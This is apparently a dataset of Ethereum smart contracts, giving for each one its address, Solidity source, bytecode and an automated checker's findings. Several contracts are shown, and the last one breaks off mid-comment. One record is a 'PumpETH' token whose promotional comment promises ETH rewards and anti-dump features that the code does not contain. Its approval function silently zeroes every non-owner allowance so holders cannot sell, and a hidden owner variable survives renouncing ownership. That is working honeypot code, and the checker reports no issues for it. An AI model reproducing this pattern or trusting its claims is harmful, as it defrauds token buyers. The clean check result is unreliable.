6004016120cf9594939291906130c0565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613262565b90508284826121509190613231565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc5565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f03565b60405180910390fd5b50600083856122939190613231565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124228161261f565b61242c84836126dc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a5565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252c8a600854600c612716565b925092509250600061253c612212565b9050600080600061254f8e8787876127ac565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d091906131db565b905083811015612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90612f85565b60405180910390fd5b8091505092915050565b6000612629612212565b90506000612640828461212090919063ffffffff16565b905061269481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f18260065461257790919063ffffffff16565b60068190555061270c816007546125c190919063ffffffff16565b6007819055505050565b6000806000806127426064612734888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276c606461275e888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279582612787858c61257790919063ffffffff16565b61257790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c5858961212090919063ffffffff16565b905060006127dc868961212090919063ffffffff16565b905060006127f3878961212090919063ffffffff16565b9050600061281c8261280e858761257790919063ffffffff16565b61257790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128486128438461315a565b613135565b9050808382526020820190508285602086028201111561286757600080fd5b60005b85811015612897578161287d88826128a1565b84526020840193506020830192505060018101905061286a565b5050509392505050565b6000813590506128b081613798565b92915050565b6000815190506128c581613798565b92915050565b600082601f8301126128dc57600080fd5b81356128ec848260208601612835565b91505092915050565b600081359050612904816137af565b92915050565b600081519050612919816137af565b92915050565b60008135905061292e816137c6565b92915050565b600081519050612943816137c6565b92915050565b60006020828403121561295b57600080fd5b6000612969848285016128a1565b91505092915050565b60006020828403121561298457600080fd5b6000612992848285016128b6565b91505092915050565b600080604083850312156129ae57600080fd5b60006129bc858286016128a1565b92505060206129cd858286016128a1565b9150509250929050565b6000806000606084860312156129ec57600080fd5b60006129fa868287016128a1565b9350506020612a0b868287016128a1565b9250506040612a1c8682870161291f565b9150509250925092565b60008060408385031215612a3957600080fd5b6000612a47858286016128a1565b9250506020612a588582860161291f565b9150509250929050565b600060208284031215612a7457600080fd5b600082013567ffffffffffffffff811115612a8e57600080fd5b612a9a848285016128cb565b91505092915050565b600060208284031215612ab557600080fd5b6000612ac3848285016128f5565b91505092915050565b600060208284031215612ade57600080fd5b6000612aec8482850161290a565b91505092915050565b600060208284031215612b0757600080fd5b6000612b158482850161291f565b91505092915050565b600080600060608486031215612b3357600080fd5b6000612b4186828701612934565b9350506020612b5286828701612934565b9250506040612b6386828701612934565b9150509250925092565b6000612b798383612b85565b60208301905092915050565b612b8e816132f0565b82525050565b612b9d816132f0565b82525050565b6000612bae82613196565b612bb881856131b9565b9350612bc383613186565b8060005b83811015612bf4578151612bdb8882612b6d565b9750612be6836131ac565b925050600181019050612bc7565b5085935050505092915050565b612c0a81613302565b82525050565b612c1981613345565b82525050565b6000612c2a826131a1565b612c3481856131ca565b9350612c44818560208601613357565b612c4d81613491565b840191505092915050565b6000612c656023836131ca565b9150612c70826134a2565b604082019050919050565b6000612c88602a836131ca565b9150612c93826134f1565b604082019050919050565b6000612cab6022836131ca565b9150612cb682613540565b604082019050919050565b6000612cce601b836131ca565b9150612cd98261358f565b602082019050919050565b6000612cf1601d836131ca565b9150612cfc826135b8565b602082019050919050565b6000612d146021836131ca565b9150612d1f826135e1565b604082019050919050565b6000612d376020836131ca565b9150612d4282613630565b602082019050919050565b6000612d5a6029836131ca565b9150612d6582613659565b604082019050919050565b6000612d7d6025836131ca565b9150612d88826136a8565b604082019050919050565b6000612da06024836131ca565b9150612dab826136f7565b604082019050919050565b6000612dc36017836131ca565b9150612dce82613746565b602082019050919050565b6000612de66011836131ca565b9150612df18261376f565b602082019050919050565b612e058161332e565b82525050565b612e1481613338565b82525050565b6000602082019050612e2f6000830184612b94565b92915050565b6000604082019050612e4a6000830185612b94565b612e576020830184612b94565b9392505050565b6000604082019050612e736000830185612b94565b612e806020830184612dfc565b9392505050565b600060c082019050612e9c6000830189612b94565b612ea96020830188612dfc565b612eb66040830187612c10565b612ec36060830186612c10565b612ed06080830185612b94565b612edd60a0830184612dfc565b979650505050505050565b6000602082019050612efd6000830184612c01565b92915050565b60006020820190508181036000830152612f1d8184612c1f565b905092915050565b60006020820190508181036000830152612f3e81612c58565b9050919050565b60006020820190508181036000830152612f5e81612c7b565b9050919050565b60006020820190508181036000830152612f7e81612c9e565b9050919050565b60006020820190508181036000830152612f9e81612cc1565b9050919050565b60006020820190508181036000830152612fbe81612ce4565b9050919050565b60006020820190508181036000830152612fde81612d07565b9050919050565b60006020820190508181036000830152612ffe81612d2a565b9050919050565b6000602082019050818103600083015261301e81612d4d565b9050919050565b6000602082019050818103600083015261303e81612d70565b9050919050565b6000602082019050818103600083015261305e81612d93565b9050919050565b6000602082019050818103600083015261307e81612db6565b9050919050565b6000602082019050818103600083015261309e81612dd9565b9050919050565b60006020820190506130ba6000830184612dfc565b92915050565b600060a0820190506130d56000830188612dfc565b6130e26020830187612c10565b81810360408301526130f48186612ba3565b90506131036060830185612b94565b6131106080830184612dfc565b9695505050505050565b600060208201905061312f6000830184612e0b565b92915050565b600061313f613150565b905061314b828261338a565b919050565b6000604051905090565b600067ffffffffffffffff82111561317557613174613462565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e68261332e565b91506131f18361332e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322657613225613404565b5b828201905092915050565b600061323c8261332e565b91506132478361332e565b92508261325757613256613433565b5b828204905092915050565b600061326d8261332e565b91506132788361332e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b1576132b0613404565b5b828202905092915050565b60006132c78261332e565b91506132d28361332e565b9250828210156132e5576132e4613404565b5b828203905092915050565b60006132fb8261330e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133508261332e565b9050919050565b60005b8381101561337557808201518184015260208101905061335a565b83811115613384576000848401525b50505050565b61339382613491565b810181811067ffffffffffffffff821117156133b2576133b1613462565b5b80604052505050565b60006133c68261332e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f9576133f8613404565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a1816132f0565b81146137ac57600080fd5b50565b6137b881613302565b81146137c357600080fd5b50565b6137cf8161332e565b81146137da57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204545ebb23dd1a48c4ec25dc2d4e9ec4c90445195fc37767ed17b75b618b53d0d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,178
0x178a665e5282c70ac0c156206914216a612a2ed7
/** *Submitted for verification at Etherscan.io on 2021-08-21 */ /* Earn Ethereum by holding $PumpETH. Biggest Project With Biggest ETH Rewards💎 10% will be reflected in Ethereum straight to your wallet!🚀🤑 💦2% Auto-LP 💰10% ETH Rewards 🐬 Anti-Whale 🐙 Anti-Dump 👨🏼‍💻 Professional Marketing 🖥 Dashboard Live On Launch 💎 x1000 Gem Sit back, relax and watch your wallet grow!🛫 A minimum of 200k tokens is required to be held to qualify for dividend distribution💰 Telegram: https://t.me/OfficialPumpETH Twitter: https://twitter.com/OfficialPumpETH Website: https://pumpeth.finance */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract PumpETH is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**12 * 10**18; string private _name = 'PUMPETH '; string private _symbol = 'PumpETH '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205bd6ea83b1e8f8e56daceb44403c70ddb0dd780614d5b73139cf2e014674cd1864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,179
0x841DBdf83A0ae570724126679D7AaB130963D05F
pragma solidity ^0.4.21; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/StableCurrency.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; uint256 _totalSupply; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(msg.sender, owner, fee); } emit Transfer(msg.sender, _to, sendAmount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } allowed[_from][msg.sender] = _allowance.sub(_value); uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(_from, owner, fee); } emit Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance 